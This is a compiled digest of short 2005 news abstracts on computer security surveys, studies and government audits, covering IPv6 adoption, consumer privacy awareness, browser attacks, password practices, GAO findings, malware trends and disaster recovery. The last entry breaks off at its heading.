Although it has been in the works for a decade, the next-generation Internet protocol IPv6 has failed to excite the interest of key decision makers in the federal government and private sector, according to a survey by equipment vendor Juniper Networks. Juniper's Federal IPv6 IQ Study found that less than 7% of respondents consider IPv6 "very important to achieving their IT goals," despite the fact that the protocol is designed to address, among other things, many of the quality of service, security, and network management issues that concern them. The Federal government is particularly indifferent to IPv6 and lags well behind the private sector in migration planning and awareness. Published by the Internet Engineering Task Force in RFC2460 in 1995, IPv6 provides a larger IP address space and provides native support for packet encryption, header authentication, Ipsec virtual private networking, multicasting and dynamic address configuration. Study: <http://www.juniper.net/federal/IPv6/>

Category 31.1

Surveys, studies, audits of security

2005-06-01

survey study audit US Internet users exploitation risk fraud phishing privacy policy

DHS IAIP Daily; <http://www.computerworld.com/securitytopics/security/story/0,10801,102155,00.html>

STUDY: U.S. INTERNET USERS AT RISK FOR ONLINE EXPLOITATION

U.S. Internet users are dangerously ignorant about the type of data that Website owners collect from them and how that data is used, according to a new study by the University of Pennsylvania's Annenberg Public Policy Center. The lack of awareness makes U.S. Internet users vulnerable to online exploitation, such as misuse of personal information, fraud and overcharging, the study said. Titled "Open to Exploitation: American Shoppers Online and Offline," the study involved 1,500 adult U.S. Internet users who were asked true-or-false questions about topics such as Website privacy policies and retailers' pricing schemes. Respondents on average failed the test. According to the authors, some alarming findings include: seventy-five percent of respondents wrongly believe that if a Website has a privacy policy, it won't share their information with third parties and that almost half of the respondents couldn't identify "phishing" scam e-mail messages. To address the problems identified by the study, the authors proposed replacing the term "Privacy Policy" with "Using Your Information," teaching consumer education and media literacy taught in elementary, middle and high schools in the U.S., and requiring online retailers to disclose what data they have collected about customers. Study: http://www.annenbergpublicpolicycenter.org/04_info_society/Turow_%20APPC_Press_Release_WEB_FINAL.pdf

Category 31.1 Surveys, studies, audits of security

2005-06-08 **US Army Fort Hood base information security problem consolidation**

DHS IAIP Daily; <http://www.fcw.com/article89132-06-08-05-Web>

CYBERSECURITY PLAGUES FORT HOOD ARMY BASE

Fort Hood, TX, the largest Army base in the world and home of the 4th Infantry Division -- the service's first digitized force -- has a huge information security problem, said Major General Dennis Moran, the Army's director of information operations, network and space in the Office of the Chief Information Officer. He spoke June 8 at the Army Information Technology Conference sponsored by the Army Small Computer Program. Some Army IT leaders think the best way to solve the information security problem at Fort Hood is to operate IT as an enterprise. For example, the base has 96 domains on the military's unclassified network. Consolidating e-mail, servers and storage systems would improve network management, operations and security, Moran said. But Fort Hood technology workers resisted the consolidation idea. The Army's IT leaders must resolve the tension between the Army's need to operate IT as an enterprise and IT workers' unique requirements at bases, Moran said.

Category 31.1 Surveys, studies, audits of security

2005-06-14 **Web Internet browser attacks increase virus decrease**

DHS IAIP Daily; http://news.com.com/Browser-based+attacks+increase+as+viruses+decrease/2100-7349_3-5747050.html

BROWSER-BASED ATTACKS INCREASE AS VIRUSES DECREASE

As the threat to IT operations by viruses and worms dips, browser-based attacks are increasing, according to a technology trade organization. The Computing Technology Industry Association, or CompTIA, on Tuesday, June 14, released its third annual report on IT security and the work force. The survey of nearly 500 organizations, found that 56.6 percent had been the victim of a browser-based attack, up from 36.8 percent a year ago and a quarter two years ago, CompTIA said. Browser-based attacks often take advantage of security flaws in Web browsers and other components of the user's PC such as the operating system. The attackers' objective can be to sabotage a computer or steal private data, and the attacks can be launched when a person visits a Web page that appears harmless but contains malicious code. Still, viruses and worms continue to be the number one IT security threat, though the number of these attacks has dipped slightly. Two-thirds of organizations reported they had experienced such attacks in the past year, down slightly from 68.6 percent a year ago. Study Press Release: http://www.comptia.org/pressroom/get_pr.aspx?prid=620

Category 31.1 Surveys, studies, audits of security

2005-06-15 **security survey poll US citizens government Internet safer**

DHS IAIP Daily; <http://www.washingtonpost.com/wp-dyn/content/article/2005/06/15/AR2005061500175.htm>

POLL: MOST AMERICANS WANT U.S. GOVERNMENT TO MAKE INTERNET SAFE

Most Americans believe the government should do more to make the Internet safe, but they don't trust the federal institutions that are largely responsible for creating and enforcing laws online, according to a new industry survey. People who were questioned expressed concerns over threats from identity theft, computer viruses and unwanted "spam" e-mails. But they held low opinions toward Congress and the Federal Trade Commission, which protects consumers against Internet fraud. The FBI scored more favorably among Internet users in the survey but still lower than technology companies. The survey was funded by the Washington-based Cyber Security Industry Alliance. "There are some mixed signals here," said Paul Kurtz, the group's executive director and a former White House cybersecurity official. "There is definitely a desire to see government provide more leadership, but there is some anxiety about what ultimately might come out." The survey said 71 percent of people believe Congress needs to pass new laws to keep the Internet safe. Survey: https://www.csialliance.org/resources/pdfs/CSIA_Survey_on_Spyware_and_Identity_Theft_White_Paper.PDF

Category 31.1 Surveys, studies, audits of security
2005-06-16 **US government audit survey study report agency security flaws failures weaknesses risk management summary**

RISKS; <http://www.gao.gov/cgi-bin/getrpt?GAO-05-231>

23 91

GAO SURVEY OF US GOVERNMENT AGENCY SECURITY FAILURES

Al Macintyre reported:

>The GAO surveyed what passes for computer security at scores of US Government agencies, and conducted some tests to see what is needed. This investigative arm of the US Congress determined that the fast majority of US Gov agencies are oblivious to most of the threats, detailing what they found in a 79 page report

<http://www.gao.gov/cgi-bin/getrpt?GAO-05-231>

with a 1 page summary

<http://www.gao.gov/highlights/d05231high.pdf>

Your pal Al read through the whole story and wrote up a 5 page summary which you can find in the archives of other discussion groups

<http://groups.yahoo.com/group/e-com-sec/message/1729>

<http://groups.yahoo.com/group/TYR/message/23897>

<http://groups.yahoo.com/group/VeeWire/message/2736>

<

Category 31.1 Surveys, studies, audits of security
2005-06-24 **survey IT managers gain core passwords easily**

DHS IAIP Daily; <http://news.bbc.co.uk/1/hi/business/4618691.stm>

COMPUTER PASSWORDS 'UP FOR GRABS' ACCORDING TO IT SECURITY FIRM

Half of IT managers employed by large-sized companies believe it would be relatively easy to gain the core passwords for their computer systems. That is the warning of a survey by IT security firm, Cyber-Ark. It said that ten percent of firms never changed their central administrative passwords. A further five percent did not even bother altering the manufacturer's default password that came with the system. The survey also found one IT boss who kept all passwords on his mobile phone. Less than a third of IT managers store key passwords digitally, the survey of 175 IT professionals revealed. The remainder continued to keep paper copies, stored everywhere from locked cabinets to safes. About 25% of IT staff could, as a result, access the core passwords without official permission, the survey said. The survey found that IT managers estimate 19% of general staff in their firms still keep their passwords on notepaper beside their computers. Cyber-Ark Press Release: http://www.cyber-ark.com/networkvaultnews/pr_20050608.htm

Category 31.1 Surveys, studies, audits of security
2005-06-28 **study security executives under pressure under-prepared difficult job**

DHS IAIP Daily; <http://www.esecurityplanet.com/trends/article.php/3516156>

SECURITY EXECUTIVES: UNDER PRESSURE AND UNDER-PREPARED

A new survey of corporate security executives shows that their jobs are more difficult to handle than just a year ago, and they're not prepared to handle some significant security issues. Nearly 100 percent of CSOs say they are well prepared to handle spam, malware, denial-of-service attacks, and hacker attacks, according to a survey by CSO Interchange at a conference held last week in Chicago, IL, for chief security officers. However, 88 percent say their organizations are least prepared to handle inadvertent loss of data, social engineering and inappropriate use. The survey also shows that sixty-four percent of CSOs are more concerned about compliance this year than they were last year, and 38 percent report their budget for compliance solutions grew during the past year; seventy-four percent say their organization must comply with more than five laws and regulations; sixty-eight percent say their security budget is less than 10 percent of their total IT budget; eighty-three percent outsource less than 10 percent of their security, and 40 percent do not outsource security processes at all, and seventy percent say they do not receive sufficient early warning for cyber attacks. Survey results: <http://www.csointerchange.org/docs/2005-06-24-chicago-polling-results.pdf>

<i>Category</i>	<i>31.1</i>	<i>Surveys, studies, audits of security</i>
2005-06-29		Government Accountability Office GAO IPv6 transition security risks testimony
DHS IAIP Daily; http://www.gao.gov/new.items/d05845t.pdf		

IPv6: FEDERAL AGENCIES NEED TO PLAN FOR TRANSITION AND MANAGE SECURITY RISKS
(TESTIMONY)

For its testimony, GAO was asked to discuss the findings and recommendations of its recent study of IPv6 (GAO-05-471). In this study, GAO was asked to (1) describe the key characteristics of IPv6; (2) identify the key planning considerations for federal agencies in transitioning from IPv4 to IPv6; and (3) determine the progress made by the Department of Defense (DOD) and other major agencies in the transition to IPv6. DOD has made progress in developing a business case, policies, timelines, and processes for transitioning to IPv6. Unlike DOD, the majority of other major federal agencies reported that they have not yet initiated key planning efforts for IPv6. In its report, GAO recommended, among other things, that the Director of the Office of Management and Budget (OMB) instruct agencies to begin to address key planning considerations for the IPv6 transition and that agencies act to mitigate near-term IPv6 security risks. Highlights: <http://www.gao.gov/highlights/d05845thigh.pdf>

<i>Category</i>	<i>31.1</i>	<i>Surveys, studies, audits of security</i>
2005-07-05		study malicious code spike 2005 Sophos professional crimes Trojan horses
EDUPAGE; http://news.com.com/2100-7349_3-5774841.html		

MALWARE MUSHROOMS TO NEW LEVELS

Incidents involving malicious computer code have spiked this year, according to computer security firm Sophos, which attributes the sharp rise to growing numbers of professional criminals who are using the Internet to make money. The company said it has tracked nearly 8,000 new varieties of malware in the first six months of the year, an increase of 60 percent over the same period last year. Graham Cluley, senior technology consultant at Sophos, noted that the trend in malware has been toward Trojan horses and away from viruses and worms. Trojan horses can allow hackers to access information on a compromised system or to take over the system completely. It is these Trojans, said Cluley, that criminals are using to make money from unsuspecting users. Although Microsoft products remained at the top of the list of most frequently targeted applications, Cluley said malware is also being written to take advantage of Linux, UNIX, and Mac systems. CNET, 5 July 2005

<i>Category</i>	<i>31.1</i>	<i>Surveys, studies, audits of security</i>
2005-07-08		communications program information warfare battlespace software quality assurance QA problems failures challenges schedule report investigation network
RISKS; http://www.gcn.com/vol1_no1/daily-updates/36302-1.html 23 93		

GAO REPORT SLAMS US ARMY'S FUTURE COMBAT SYSTEMS NETWORKS PROJECTS

The major communications programs that will support the Army's transformational Future Combat Systems initiative are in jeopardy of failing to meet technical challenges and an accelerated schedule, according to the Government Accountability Office. GAO found that each of the communications pillars of the Army's Future Combat Systems (FCS) program - two Joint Tactical Radio System (JTRS) clusters, the Warfighter Information Network-Tactical (WIN-T) program and the System of Systems Common Operating Environment (SOSCOE) - would likely fail to meet aggressive schedules due to immature technologies.

"As currently structured, the JTRS, WIN-T and SOSCOE programs are at risk of not delivering intended capabilities when needed, particularly for the first spiral of FCS," according to GAO. "They continue to struggle to meet an ambitious set of user requirements, steep technical challenges and stringent time frames."

FCS is designed to link 18 manned and unmanned weapons systems via a common computer network known as WIN-T and the System of Systems Common Operating Environment.

The Army restructured its FCS program last year into spirals, with officials announcing the first spiral would happen in fiscal 2008. But GAO said the first spiral may not demonstrate key networking capabilities.

GAO found the FCS program faces network, developmental and financial challenges that continue to slow progress. FCS' information network is dependent on the success of JTRS, WIN-T and SOSCOE - programs that are not included in FCS costs.

"Because JTRS, WIN-T and SOSCOE all rely on significant advances in current technologies and capabilities and must be fully integrated to realize FCS, there are substantial risks to this effort," wrote Paul L. Francis, GAO's director of acquisition and sourcing management, in the report.

[Abstract by Pete Mellor]

Category 31.1 Surveys, studies, audits of security

2005-07-18 **study cyber attack damages drop CSI FBI**

EDUPAGE; http://www.theregister.com/2005/07/18/csi_fbi_security_survey/

STUDY SHOWS DROP IN DAMAGES FROM CYBER ATTACKS

A new study shows a significant drop in the amount of damage caused by cyber attacks as well as a shift in the kinds of attacks that are most commonly reported. Researchers from the University of Maryland conducted the Computer Crime and Security Survey on behalf of the Computer Security Institute (CSI), with consultation from security experts at the FBI. The survey questioned IT security officials at 700 private companies, governmental agencies, and universities and found that the average cost per security incident was \$204,000, down from \$526,000 a year earlier. Viruses remain the most frequent type of attack (32 percent), but unauthorized access rose to second on the list at 24 percent. Chris Keating, director of CSI, noted that schemes to steal individuals' identities are a growing concern. The survey, he said, indicates "more financial damage due to theft of sensitive company data," a trend that should press network managers to ensure the security of enterprise systems. The Register, 18 July 2005

Category 31.1 Surveys, studies, audits of security

2005-07-19 **ComputerWeekly Mobile phones crisis London bombing security experts plans networks explosions Access Overload Control Gartner**

DHS IAIP Daily;

<http://www.computerweekly.com/Articles/2005/07/19/210901/Mob>

MOBILE PHONES OF LITTLE USE IN CRISIS

The London bombing highlighted important gaps in business continuity plans, according to security experts. Many firms discovered, to their cost, that their business continuity plans relied on being able to communicate with key staff via mobile phone networks, which were out of action or unreliable for most of the day the bombs exploded. Others found themselves in difficulty when key staff were unable to make it into work, said Andy Tomkinson, a director at the Business Continuity Institute. In the aftermath of the explosions police invoked a system called Access Overload Control, which shuts down large swathes of the mobile network, to free-up communications for the emergency services. Corporate e-mail systems also came under strain, which in some cases caused severe disruption to businesses. Some companies instructed staff to send text messages rather than make mobile phone calls--a lesson learned from the central London power cut two years ago. Analyst firm Gartner said that the attacks showed that organizations need to have viable, tested business continuity plans, which are focused on people, not just business assets.

Category 31.1 Surveys, studies, audits of security

2005-07-25 **study report SANS hacker new targets vulnerabilities patch update**

EDUPAGE; <http://online.wsj.com/article/0,,SB112224497897894400,00.html>

HACKERS FINDING NEW TARGETS

According to a new report from the SANS Institute, the number of computer hacking incidents is rising, and the targets of such hacks are increasingly software applications rather than operating systems. The organization found that the number of vulnerabilities reported was up

11 percent from the first quarter of the year to the second, and up nearly 20 percent from a year earlier. Alan Paller, SANS's research director, said the situation is getting worse. As operating systems become more secure, hackers are turning to applications, such as Apple's iTunes and RealNetworks's RealPlayer. Hackers are also focusing efforts on backup systems, particularly those of Computer Associates and Veritas Software. Because backup systems typically contain vast amounts of confidential corporate data, they represent an attractive target. SANS noted that the best way to avoid such hacking threats is to install all software patches, keep antivirus tools up to date, and be prudent in opening e-mail attachments. Wall Street Journal, 25 July 2005 (sub. req'd)

<i>Category 31.1</i>	<i>Surveys, studies, audits of security</i>
2005-07-27	national policy reports recommendations telework research development children education awareness ethics

RISKS; <http://www.csialliance.org> 23 95

THREE REPORTS FROM THE COMPUTER SECURITY INDUSTRY ALLIANCE

Gene Spafford ("Spaf") noted that the Computer Security Industry Alliance issued three reports of possible interest:

* CSIA Calls for Increased Adoption of Telework by the Federal Government: Cites Need to Ensure Continuity of Federal Operations in a Disaster
https://www.csialliance.org/resources/pdfs/CSIA_Telework.pdf

* CSIA Urges the Administration and Congress to Elevate Cyber Security and Research & Development Efforts: CSIA voices concern over the dissolution of a Presidential committee focused on information security issues and calls for a national vision for cyber security R&D.
Https://www.csialliance.org/resources/pdfs/CSIA_RD.pdf

* CSIA Calls for a National K-12 Cyber Awareness Program: A Focused, Organized National Effort is Needed to Teach Children Cyber Security, Cyber Ethics and Cyber Safety.
https://www.csialliance.org/resources/pdfs/K12_White_Paper.pdf

<i>Category 31.1</i>	<i>Surveys, studies, audits of security</i>
2005-08-03	business encryption roll out trend key management complexity survey

DHS IAIP Daily;
<http://www.techworld.com/security/news/index.cfm?NewsID=4150&Page=1&pagePos=2>

KEY MANAGEMENT HOLDING BACK ENCRYPTION

Businesses are keener than ever to roll out data encryption, but are still struggling with the complexity of key management, a new survey has concluded. The survey was carried out by UK encryption specialist nCipher, sampling 237 "decision makers" at large enterprises across the globe. The main problem appears to be key management with nine percent of those surveyed having more than 10,000 keys on servers, and 11 percent having the same number on desktops. Further down the scale, 16 percent had 1,000 keys on servers, with almost a quarter having the same number of desktops. Underscoring this issue, 31 percent of managers with 500 or more keys in their organizations admitted they knew little or nothing about available key management systems. The survey found that encryption is rapidly becoming a mainstream technology, with its use now mandated across a wide range of applications. Drivers included government legislation, and private sector data protection standards developed by groups such as the Payment Card Industry. Survey: <http://www.ncipher.com/crypto2005>

<i>Category 31.1</i>	<i>Surveys, studies, audits of security</i>
2005-09-01	study colleges higher education university computer security concerns vulnerabilities

EDUPAGE; <http://www.csmonitor.com/2005/0901/p12s02-legn.html>

COLLEGES DEALING WITH COMPUTER SECURITY CONCERNS

As the number of computers on college campuses rises, and as IT becomes increasingly rooted in campus activities, higher education officials find themselves facing expanding numbers and kinds of threats to vulnerabilities in computer security. According to the Privacy Rights Clearinghouse (PRC), 50 million people have been involved in data breaches over the past seven months, including more than 30 incidents on U.S. college and university campuses. Complicating the challenge to IT security staff is the historically open nature of academic settings, a characteristic often at odds with strong computer security. Another factor making life difficult for IT staff are the computers that students bring to campus with them, often with inadequate or poorly configured security features. Jack Suess, vice president of information technology at the University of Maryland Baltimore County, however, noted that of the 11,000 to 12,000 computers on his campus this year, "there's probably only 200 or 250 I'm really worried about." Christian Science Monitor, 1 September 2005

Category 31.1 Surveys, studies, audits of security

2005-09-06 **online banking e-commerce stalling hacker cracking survey study**

EDUPAGE; http://news.com.com/2100-1038_3-5851061.html

GROWTH OF ONLINE BANKING STALLS AMID HACKING FEAR

A new survey by Ipsos Insight shows that the number of people who use the Internet for banking has reached a plateau, but that those who do their banking online are conducting growing numbers of transactions. According to the survey, roughly 39 percent of Americans use the Internet for personal banking—the same number as a year ago. Concern over online security for personal information was identified as a leading reason why more people are not turning to the Web for banking. Survey respondents expressed concerns about the possibility of hackers stealing sensitive information, about online scams that dupe users into revealing personal data, and about the practice among some banks of selling customers' personal information to third parties. Of those who conduct banking online, most are using the Web for growing numbers of financial transactions, including paying bills and managing retirement accounts, according to the survey. CNET, 6 September 2005

Category 31.1 Surveys, studies, audits of security

2005-09-13 **IM threats survey people unaware**

DHS IAIP Daily; http://www.webpronews.com/news/ebusinessnews/wpn-45-20050913_MostPeopleUnawareofIMThreats.html

MOST PEOPLE UNAWARE OF IM THREATS

A recent survey conducted by IMLogic found that most people unknowingly expose their computers and company networks to security threats. The survey found that the 78% of users believe there is no threat in instant messaging. In addition, 45% of users use IM at work because they believe their communication is unmonitored.

Category 31.1 Surveys, studies, audits of security

2005-10-14 **peer-to-peer P2P activity colleges survey network administrators security concern ResNet organization**

EDUPAGE; <http://chronicle.com/daily/2005/10/2005101402t.htm>

RESULTS OF RESNET SURVEY RELEASED

The ResNet Organization has released results from a survey it conducted earlier this year of those responsible for residential networks at 224 colleges and universities. The leading concern among network administrators is security, with P2P activity coming in at a distant second. Administrators also put security at the top of the list of issues they expect to take significant amounts of time and resources over the next couple of years, with wireless networking coming in second and P2P issues falling to seventh. David G. Futey, associate director of academic computing at Stanford University and a member of the ResNet Organization, said the survey provides new insight into "determining what a res-net service area is at institutions, the level of services it provides, and the technology supported through it." Futey commented that he was surprised to see that of the respondents to the survey, nearly half had not installed wireless networks. The survey also indicated that more than half of responding institutions charge technology fees but that at about half of those that charge a fee, no part of the fee supports residential networks. Chronicle of Higher Education, 14 October 2005 (sub. req'd)

Category 31.1 Surveys, studies, audits of security

2005-10-24 **IT planning bird flu pandemic threat outbreak businesses Companies laptops virtual network connections office**

DHS IAIP Daily; <http://www.computerweekly.com/Articles/Article.aspx?liArticleID=212598&PrinterFriendly=true>

IT PLANNING VITAL TO MEET BIRD FLU PANDEMIC THREAT

To prevent a loss of IT functionality in the case of a pandemic, Gartner analyst Dion Wiggins says that it is imperative that companies start planning for a potential outbreak and to look at ways they could use IT to help their businesses continue to function. Companies are encouraged to sign contracts to ship in laptops for staff at short notice, and to provide them with secure virtual private network connections to access office systems. In addition, firms that are heavily reliant on their IT departments should split key IT staff into shifts to maintain consistent coverage. Jim Norton, senior policy adviser at the Institute of Directors, says businesses that invest in broadband and e-commerce technologies are better placed to cope with a pandemic. Business continuity experts said a flu pandemic could cause far more disruption to businesses than the last major flu outbreak in 1968, when businesses were less dependent on a small number of staff with key skills and the smooth running of the transport system for just-in-time deliveries. Gartner Press Release:
http://www.gartner.com/press_releases/asset_138278_11.html

Category 31.1 Surveys, studies, audits of security

2005-10-31 **survey census US computer Internet usage report increase**

DHS IAIP Daily; <http://www.govtech.net/news/news.php?id=97088>

U.S. CENSUS BUREAU RELEASES REPORT ON COMPUTER AND INTERNET USAGE

The U.S. Census Bureau has released the "Computer and Internet Use in the United States: 2003" report. The report states that 40 percent of adults used the Internet to obtain news, weather, or sports information in 2003 -- a sharp increase from only seven percent six years earlier. Also, more than half of adults (55 percent) used e-mail or instant messaging in 2003, which is a dramatic increase from the 12 percent who did so in 1997. Report:
<http://www.census.gov/population/www/socdemo/computer.html>

Category 31.1 Surveys, studies, audits of security

2005-11-02 **study cybercrime fighting strategy effectiveness lack resources Trend Micro anti-virus vendor**

DHS IAIP Daily; <http://www.snpix.com/cgi-bin/news55.cgi?target=115933550-11434>

CYBERCRIME-STOPPING STRATEGIES FALL SHORT ACCORDING TO STUDY

A Trend Micro study, indicates that smaller organizations, with a lack of IT support, are not able to handle security threats effectively. Requiring them to have security measures does not mean that they will actually be able to afford it. The study said that "resource-strapped organizations" with little or no IT support face a challenge in protecting themselves from malware, or attackers. said Steve Quane, general manager of Trend Micro's small and medium business operations, states "Encounters with security threats are rising faster in smaller organizations, but these same organizations are restricted by time, cost, and available resources." Within a matter of months all DMA members using e-mail for marketing are will be going to be required to use e-mail authentication systems that verify the authenticity of all e-mail messages they send. John A. Greco, Jr., president and chief executive officer of the DMA stated, "Consumers can have more confidence they are getting a legitimate, valid offer from a trusted source. Marketers get fewer false positives, increased deliverability and better protection for their brands from illegal use. It's a win-win for everybody."

Category 31.1 Surveys, studies, audits of security

2005-11-04 **survey IT executives insider threat worry concern security**

DHS IAIP Daily; <http://www.esecurityplanet.com/prevention/article.php/3561761>

INSIDER THREATS GIVING IT EXECS NIGHTMARES

Sixty-nine percent of 110 senior executives at Fortune 1,000 companies say they are 'very concerned' about insider network attacks or data theft, according to a study by Caymas Systems, a network security technology firm. Only 13 percent says they are not worried at all. Sanjay Uppal, a vice president at Caymas Systems, claims 30 percent of people who come in and work on your average network every day are temporary workers. And that brings up specific threat concerns. But he also says that IT and security administrators should not forget about permanent workers and the havoc they can wreak. Uppal says insider security threats definitely need to be dealt with quickly. Uppal recommends that workers should be limited as to what parts of the network they can access. Someone working in production shouldn't be able to access financials. And someone working in the financial department, should be able to access personnel records and reviews.

Category 31.1 Surveys, studies, audits of security

2005-11-07 **study survey computer problem carelessness cause virus worm hacking data loss**

EDUPAGE; <http://chronicle.com/daily/2005/11/2005110701t.htm>

CARELESSNESS CITED AS FACTOR IN COMPUTER PROBLEMS

An in-depth study of more than 300 computer and network problems at 36 colleges and universities identified carelessness of students and staff as one of the leading causes of such problems. Despite widespread perceptions that issues such as viruses and loss of confidential data are largely the result of malicious behavior, those involved in the study found that careless actions by students or staff were the primary cause for 40 percent of the incidents studied. Virginia E. Rezmierski, adjunct associate professor at the University of Michigan at Ann Arbor and leader of the research, said she was surprised to learn that external factors didn't play a larger role in computer problems. Primarily, she said, the problems resulted from inadequate training to help computer users avoid trouble and from insufficient policies to deal with problems that do arise. Rezmierski said the results support her contention that many colleges and universities moved too quickly to implement IT systems without necessary "rules and policies about how we want to operate in a shared-resource environment." Chronicle of Higher Education, 7 November 2005 (sub. req'd)

Category 31.1 Surveys, studies, audits of security
2005-11-09 **survey study online banking e-commerce security consumer worry**

EDUPAGE; http://news.com.com/2100-1029_3-5941531.html

CONSUMERS WORRYING OVER ONLINE BANKING

Even as federal regulators insist on tighter security controls for online banking, some consumers are deciding that the convenience is not worth the risk. Results of a survey announced this week at a forum on identity theft indicate that nearly one in five Americans who have conducted banking transactions online have limited or ended their online banking due to security concerns. The Federal Financial Institutions Examination Council, which includes the Federal Reserve and the Federal Deposit Insurance Corporation, recently issued guidelines requiring banks to add a second level of authentication for online banking transactions. That level could include smart cards, password tokens, or biometric identification. According to the Federal Trade Commission, 10 million Americans are victims of identity theft each year, and federal data estimate that each victim spends about 90 hours and \$1,700 fixing matters. The survey also indicated that 94 percent of consumers would accept added online security, though 81 percent said they would not want to pay for such extra measures. CNET, 9 November 2005

Category 31.1 Surveys, studies, audits of security
2005-11-17 **security study telecom consolidation disaster recovery network reliability DHS**

DHS IAIP Daily; <http://www.zra.com/docs/ZRAPR.pdf>

STUDY FINDS TELECOM CONSOLIDATION WILL AID NETWORK RELIABILITY DURING DISASTERS

The current consolidation occurring in the telecommunications industry is a step toward ensuring network reliability following threats to our nation's security, according to a study released by homeland security expert Lee Zeichner. The study, entitled "State Public Utility Commissioners: Homeland Security & National Preparedness Responsibilities," concludes that state public utility commissioners' current review of major telecom mergers must address traditional regulatory issues as well as issues like network reliability and resilience. According to the study, "Telecommunications regulators can affect state and local government response to catastrophic disasters in profound and meaningful ways, directly impacting consumers as well as small to large-sized corporations." The study states that with multiple carriers and multiple networks, there is no comprehensive communications infrastructure map to guide disaster planning and response. "A certain amount of consolidation...is critical to support delivery of essential citizen services in the aftermath of a disaster." The study offers recommendations for state public utility commissioners to emphasize network reliability and resiliency while maximizing traditional regulatory issues. These include the need to consider issues related to communications resiliency during their deliberations and the adverse impact of divestiture requirements on resiliency during merger proceeding. They should also commit to resolving operational impediments. Study: <http://www.zra.com/docs/UC&CR.pdf>

Category 31.1 Surveys, studies, audits of security
2005-11-18 **report IT security information analytics software market billion dollars**

DHS IAIP Daily;
http://www.washingtontechnology.com/news/1_1/daily_news/2744_7-1.html

MARKET FOR INFORMATICS REACHES ONE BILLION PER YEAR

According to a report from C.E. Unterberg, Towbin Inc. of New York and business incubator Chesapeake Innovation Center of Annapolis, MD, intelligence and security informatics IT is now one billion a year. Since 9-11, the urgent need for homeland security and an increase in available government funding have been driving the market for advanced anti-terrorism IT. Sales of counterterrorism analytics and software for both private and public companies are expanding at an estimated 20 percent a year and have accounted for two billion in mergers and acquisitions in the last 18 months, according to a news release about the report. Report (registration required): <http://www.cic-tech.org/register.html>

Category 31.1 Surveys, studies, audits of security
2005-11-21 **survey business continuity data recovery disasters NIST new technology**

DHS IAIP Daily; http://www.gcn.com/24_33/tech-report/37577-1.html

DATA DISASTER: WHEN CONTINUITY-OF-OPERATIONS PLANS AREN'T ENOUGH

Disasters -- both natural and man-made -- require that agencies ensure that data held on IT systems and devices remain accessible in order to support mission-critical operations. Continuity-of-operations plans--those that keep government going in the face of emergencies--are important, but far from foolproof. In a recent survey by Asigra Inc. of Toronto, 75 percent of respondents said their organizations had lost backed-up data because of unreadable, lost, or stolen media. Almost two-thirds of the respondents had run into unreadable backup tapes when trying to recover data. New data-handling techniques not designed for disaster recovery could apply to agencies trying to reconstruct critical information. One application being created by the National Institute of Standards (NIST) and Technology for courtroom investigations is high-resolution images of magnetic data that can tell an investigator when data has been written, erased or altered, said physicist David Pappas, project lead at NIST. The technique, called second harmonic magnetoresistive microscopy, uses powerful magnetic readers designed for server drives to image the fields on other magnetic media, such as tapes and disks. "You're actually taking a picture of the magnetic field above it, rather than just scanning it really fast and averaging the data," Pappas said.

Category 31.1 Surveys, studies, audits of security
2005-11-22 **survey study SANS cyber criminal target popular applications network systems**

DHS IAIP Daily; <http://www.sans.org/top20/> Source:
<http://fcw.com/article91516-11-22-05-Web>

CYBERCRIMINALS TARGETED POPULAR APPLICATIONS, NETWORK SYSTEMS IN 2005

According to the SANS Institute's latest update to its 20 Most Critical Internet Security Vulnerabilities in 2005 report, cybercriminals have launched massive attacks on two largely undefended fronts in cyberspace, leaving government and industry more vulnerable than they have been in years to data theft and security breaches. Ten of the vulnerabilities were in cross-platform applications installed on millions of systems, including backup software, antivirus software, database software, and media players. Three affected network operating systems that control routers, switches, and other devices. Alan Paller, director of research at the SANS Institute, stated: "The bottom line is that security has been set back nearly six years in the past 18 months. Six years ago, attackers targeted operating systems, and the operating system vendors didn't do automated patching. In the intervening years, automated patching protected everyone from government to grandma. Now the attackers are targeting popular applications, and the vendors of those applications do not do automated patching." Since 2003, attackers have infiltrated Defense Department networks by exploiting vulnerabilities in hardware and software.

Category 31.1 Surveys, studies, audits of security
2005-11-22 **report study SANS cross-platform applications network operation system hacker targets**

EDUPAGE; <http://www.few.com/article91516-11-22-05-Web>

SANS REPORT SHOWS DIRECTION OF HACKERS

A new report from the SANS Institute identified cross-platform applications and network operating systems as emerging targets for hackers. The applications cited include backup software, antivirus software, database software, and media players; operating systems for routers and other network devices were also singled out. The report, "20 Most Critical Internet Security Vulnerabilities in 2005," noted that 13 of the top 20 were in these two types of technology, which are among the least protected computer assets in many organizations. In the 2004 SANS report, neither category of technology was identified among the worst threats; the 2005 report indicates that these types of attacks account for 65 percent of the worst threats. Alan Paller, director of research at the SANS Institute, commented, "Six years ago, attackers targeted operating systems." Since then, makers of operating systems have improved protections and implemented automatic patching. "Now," he said, "the attackers are targeting popular applications, and the vendors of those applications do not do automated patching. Here we go again." Federal Computer Week, 22 November 2005

Category 31.1 Surveys, studies, audits of security
2005-12-01 **study Gartner research hurricane Katrina Wilma disaster data storage offsite**

DHS IAIP Daily;
<http://www.computerworld.com/hardwaretopics/storage/story/0,10801,106641,00.html>

HURRICANES PROMPT MORE COMPANIES TO STORE DATA OFF-SITE

The number of companies making copies of data to protect it has dramatically risen in the wake of Hurricanes Katrina and Wilma this year, but most of those companies are keeping that duplicate data locally where it's still vulnerable to disasters, according to a survey released Wednesday, November 30, by Gartner Inc. The September survey of 104 North American IT managers showed that 45 percent of respondents back up or replicate data to another disk, up from just six percent who did so in 2004. But 70 percent of the respondents who make backups do so to a local device. Adam Couture, an analyst at Stamford, CT-based Gartner, said that if companies hope to truly protect their data, they have to electronically copy it to an off-site facility either owned by the company or a service provider. The Gartner survey also showed that IT managers are more comfortable considering managed storage services to copy data off-site. Over the past two years, Couture said, surveys have shown that between 30 percent and 40 percent of IT managers would never use a third-party service provider. But in the most recent survey, that number had plummeted to just six percent.

Category 31.1 Surveys, studies, audits of security
2005-12-06 **technology return-on-investment ROI study academia industry difficult complex problem management issues**

EDUPAGE; <http://www.few.com/article91625-12-06-05-Web>

ACADEMY AND INDUSTRY STUDY ROI

